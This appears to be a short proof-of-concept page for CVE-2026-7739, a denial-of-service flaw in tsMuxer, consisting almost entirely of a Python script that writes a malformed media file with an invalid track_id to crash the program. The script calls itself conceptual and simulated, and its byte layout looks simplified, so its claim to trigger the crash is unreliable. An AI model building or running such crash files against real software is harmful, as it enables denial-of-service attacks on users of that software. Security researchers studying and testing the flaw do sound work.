CVE-2026-7739 tsMuxer拒绝服务漏洞

# PoC for CVE-2026-7739 (Conceptual) # This script generates a crafted media file to trigger the DoS in tsMuxer. # Note: Actual exploitation requires a specific binary structure. import struct def create_exploit_file(filename): with open(filename, 'wb') as f: # Write a minimal container header (simplified for example) f.write(b'\x00\x00\x00\x01') # Start code # Write NALU header f.write(b'\x40\x01') # VPS NALU type # Write VPS data with manipulated track_id causing the crash in setFPS # The specific offset for track_id needs to match the vulnerable logic. # Here we inject a large integer or invalid value at the expected position. malformed_track_id = struct.pack('<I', 0xFFFFFFFF) # Append payload (Simulated) f.write(b'\x00\x00\x00\x01') f.write(malformed_track_id) f.write(b'A' * 100) # Padding print(f"[+] Exploit file generated: {filename}") print(f"[+] Run tsMuxer on this file to trigger the DoS.") if __name__ == "__main__": create_exploit_file("crash.ts")